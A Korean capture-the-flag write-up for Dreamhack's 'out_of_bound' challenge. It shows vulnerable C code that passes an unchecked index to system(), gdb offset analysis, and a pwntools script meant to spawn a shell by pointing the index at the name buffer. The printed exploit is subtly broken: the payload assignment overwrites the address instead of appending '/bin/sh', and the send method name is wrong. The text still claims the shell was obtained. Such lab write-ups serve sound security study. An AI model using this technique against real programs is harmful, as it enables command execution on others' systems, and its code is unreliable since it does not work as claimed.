1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" };
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main() {
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
code description
전역 변수로 name[16]과, command[10]이 있다.
이 두 변수든 .bss 영역에 존재한다.
alarm_handler()로 시간을 제한한다.
initialize()로 입출력 버퍼를 비우고, alarm을 호출한다.(30초)
main에서 name의 size만큼, 즉, 16만큼 입력을 받고,
idx를 입력받는다.
그 후 system(command[idx]);를 호출한다.
2.2 file
32bit elf 파일
dynamically linked
특별한 것은 없다.
2.3 checksec
3. Design
system 함수에서 command[idx]를 호출하는 것으로 봐서
name에서 입력을 받을 때, command를 조작할 수 있을 것 같다.(OOB를 통해서)
name "/bin/sh"을 넣거나, "cat flag"를 넣고,
name과 command의 offset을 구해서 flag를 획득할 수 있다.
4. Exploit
4.1 gdb 분석
먼저 main을 살펴 보자
4.1.1 name 주소
main+ 52 ~ 61
read 함수 호출이다.
read(0,name,16)이고, name의 주소는 0x804a0ac임을 알 수 있다.
4.1.2 idx 위치
main+ 88 ~ 97
scanf 함수 호출이다.
scnaf("%d", &idx)이고, [ebp-0x10]이 idx임을 알 수 있다.
4.1.3 system 함수 및, command 주소
main+ 105 ~ 119
system 함수 호출이다.
system(command[idx])이고, command의 주소가 0x804a060임을 알 수 있다.
또한, [idx]는 [eax * 4]로 참조한다.
4.1.4 name과 command의 offset
command의 주소 0x804a060, name의 주소 0x804a0ac 이다.
이 두 차이, 즉 offset은 (0x804a0ac - 0x804a060) = 0x4c, 10진수로 76이다.
command + 76 = command + 19 * 4 = name
idx가 19일 경우 name의 주소에 닿을 수 있다.
4.1.5 정리
첫 입력 때, name에 "cat flag"나 "/bin/sh"을 넣고
두번째 입력 때, idx에 19를 넣으면 된다고 생각했다.
4.2 system 함수의 특징
4.2.1 실행
위에서 설명한 것처럼, /bin/sh을 넣고, 그 후 19를 넣었다.
그랬더니 error가 떴다.
디버깅을 더 해보니
system 함수를 호출 할 때, eax 값이 /bin 밖에 들어가 있지 않다.
4.2.2 특징
system 함수는 인자를 const char *cmd)로 받는다.
즉, 다시 말해, 주소 참조를 한다는 뜻이다.
위와 같이, 바로 /bin/sh을 넣게 될 경우에는, /bin의 주소 즉, 0x6e69622f 주소가 들어감으로써, shell이 실행되지 않는다.
4.2.3 how to exploit?
그렇다면 ((name+4) + "/bin/sh")을 첫 입력 때, 넣고,
19를 입력하면 성공할 것이다.
4.3 exploit code
from pwn import *
p = process("./out_of_bound")
context.log_level = 'debug'
payload = p32(0x804a0ac+4)
payload = b"/bin/sh"
p.sendafterline(":", payload)
p.sendafterline("?", b"19")
p.interactive()
4.4 exploit result
shell을 획득했고, flag가 있는 것을 확인했다.
마치며
이렇게 out_of_bound를 활용해서, exploit 하는 방법을 알아보았다.
Reference
https://dreamhack.io/wargame/challenges/11/